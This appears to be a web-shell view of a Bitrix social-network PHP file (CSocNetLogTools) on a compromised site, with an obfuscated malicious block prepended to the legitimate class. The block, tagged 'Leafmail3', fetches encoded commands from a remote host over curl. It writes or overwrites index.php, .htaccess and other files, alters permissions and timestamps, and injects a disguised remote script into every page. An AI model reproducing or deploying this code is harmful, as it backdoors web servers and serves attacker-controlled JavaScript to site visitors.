Your IP : 3.144.167.32


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/socialnetwork/classes/general/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/socialnetwork/classes/general/log_tools.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
use Bitrix\Socialnetwork\ComponentHelper;

IncludeModuleLangFile(__FILE__);

class CSocNetLogTools
{
	public static function FindFeatureByEventID($event_id)
	{
		$feature = false;

		$arSocNetFeaturesSettings = CSocNetAllowed::GetAllowedFeatures();
		foreach ($arSocNetFeaturesSettings as $feature_tmp => $arFeature)
		{
			if (array_key_exists("subscribe_events", $arFeature))
			{
				if (array_key_exists($event_id, $arFeature["subscribe_events"]))
				{
					$feature = $feature_tmp;
					break;
				}

				foreach ($arFeature["subscribe_events"] as $event_id_tmp => $arEventTmp)
				{
					if (
						array_key_exists("COMMENT_EVENT", $arEventTmp)
						&& array_key_exists("EVENT_ID", $arEventTmp["COMMENT_EVENT"])
						&& $arEventTmp["COMMENT_EVENT"]["EVENT_ID"] == $event_id
					)
					{
						$feature = $feature_tmp;
						break;
					}
				}

				if ($feature)
					break;
			}
		}

		return $feature;
	}

	public static function FindLogEventByID($event_id, $entity_type = false)
	{
		$arEvent = false;
		$arSocNetLogEvents = CSocNetAllowed::GetAllowedLogEvents();

		if (
			array_key_exists($event_id, $arSocNetLogEvents)
			&& array_key_exists("ENTITIES", $arSocNetLogEvents[$event_id])
		)
		{
			if (
				!$entity_type
				|| ($entity_type && array_key_exists($entity_type, $arSocNetLogEvents[$event_id]["ENTITIES"]))
			)
			{
				$arEvent = $arSocNetLogEvents[$event_id];
			}
		}

		if (!$arEvent)
		{
			$arSocNetFeaturesSettings = CSocNetAllowed::GetAllowedFeatures();
			foreach($arSocNetFeaturesSettings as $feature => $arFeature)
			{
				if (
					array_key_exists("subscribe_events", $arFeature)
					&& array_key_exists($event_id, $arFeature["subscribe_events"])
					&& array_key_exists("ENTITIES", $arFeature["subscribe_events"][$event_id])

				)
				{
					if (
						!$entity_type
						|| ($entity_type && array_key_exists($entity_type, $arFeature["subscribe_events"][$event_id]["ENTITIES"]))
					)
						$arEvent = $arFeature["subscribe_events"][$event_id];
					break;
				}
			}
		}

		return $arEvent;
	}

	public static function FindLogCommentEventByID($event_id)
	{
		$arEvent = false;
		$arSocNetLogEvents = CSocNetAllowed::GetAllowedLogEvents();

		foreach($arSocNetLogEvents as $event_id_tmp => $arEventTmp)
		{
			if (
				array_key_exists("COMMENT_EVENT", $arEventTmp)
				&& array_key_exists("EVENT_ID", $arEventTmp["COMMENT_EVENT"])
				&& $event_id == $arEventTmp["COMMENT_EVENT"]["EVENT_ID"]
			)
			{
				$arEvent = $arEventTmp["COMMENT_EVENT"];
				break;
			}
		}

		if (!$arEvent)
		{
			$arSocNetFeaturesSettings = CSocNetAllowed::GetAllowedFeatures();
			foreach($arSocNetFeaturesSettings as $feature => $arFeature)
			{
				if (array_key_exists("subscribe_events", $arFeature))
				{
					foreach( $arFeature["subscribe_events"] as $event_id_tmp => $arEventTmp)
					{
						if (
							array_key_exists("COMMENT_EVENT", $arEventTmp)
							&& array_key_exists("EVENT_ID", $arEventTmp["COMMENT_EVENT"])
							&& $event_id == $arEventTmp["COMMENT_EVENT"]["EVENT_ID"]
						)
						{
							$arEvent = $arEventTmp["COMMENT_EVENT"];
							break;
						}
					}

					if ($arEvent)
						break;
				}
			}
		}

		return $arEvent;
	}

	public static function FindLogCommentEventByLogEventID($log_event_id)
	{
		$arEvent = false;
		$arSocNetLogEvents = CSocNetAllowed::GetAllowedLogEvents();

		if (
			array_key_exists($log_event_id, $arSocNetLogEvents)
			&& array_key_exists("COMMENT_EVENT", $arSocNetLogEvents[$log_event_id])
		)
		{
			$arEvent = $arSocNetLogEvents[$log_event_id]["COMMENT_EVENT"];
		}
		else
		{
			$arSocNetFeaturesSettings = CSocNetAllowed::GetAllowedFeatures();
			foreach ($arSocNetFeaturesSettings as $feature_id_tmp => $arFeatureTmp)
			{
				if (
					array_key_exists("subscribe_events", $arFeatureTmp)
					&& array_key_exists($log_event_id, $arFeatureTmp["subscribe_events"])
					&& array_key_exists("COMMENT_EVENT", $arFeatureTmp["subscribe_events"][$log_event_id])
				)
				{
					$arEvent = $arFeatureTmp["subscribe_events"][$log_event_id]["COMMENT_EVENT"];
					break;
				}
			}
		}

		return $arEvent;
	}

	public static function FindLogEventByCommentID($event_id)
	{
		$arEvent = false;
		$arSocNetLogEvents = CSocNetAllowed::GetAllowedLogEvents();

		foreach ($arSocNetLogEvents as $event_id_tmp => $arEventTmp)
		{
			if (
				array_key_exists("COMMENT_EVENT", $arEventTmp)
				&& isset($arEventTmp["COMMENT_EVENT"]["EVENT_ID"])
				&& $arEventTmp["COMMENT_EVENT"]["EVENT_ID"] == $event_id
			)
			{
				$arEvent = $arEventTmp;
				$arEvent["EVENT_ID"] = $event_id_tmp;
				break;
			}
		}

		if (!$arEvent)
		{
			$arSocNetFeaturesSettings = CSocNetAllowed::GetAllowedFeatures();
			foreach ($arSocNetFeaturesSettings as $feature_id_tmp => $arFeatureTmp)
			{
				if (array_key_exists("subscribe_events", $arFeatureTmp))
				{
					foreach ($arFeatureTmp["subscribe_events"] as $event_id_tmp => $arEventTmp)
					{
						if (
							array_key_exists("COMMENT_EVENT", $arEventTmp)
							&& isset($arEventTmp["COMMENT_EVENT"]["EVENT_ID"])
							&& $arEventTmp["COMMENT_EVENT"]["EVENT_ID"] == $event_id
						)
						{
							$arEvent = $arEventTmp;
							$arEvent["EVENT_ID"] = $event_id_tmp;
							break;
						}
					}

					if ($arEvent)
						break;
				}
			}
		}

		return $arEvent;
	}

	public static function FindFullSetByEventID($event_id)
	{
		$bFound = false;
		$arSocNetLogEvents = CSocNetAllowed::GetAllowedLogEvents();

		foreach ($arSocNetLogEvents as $event_id_tmp => $arEventTmp)
		{
			if (
				array_key_exists("FULL_SET", $arEventTmp)
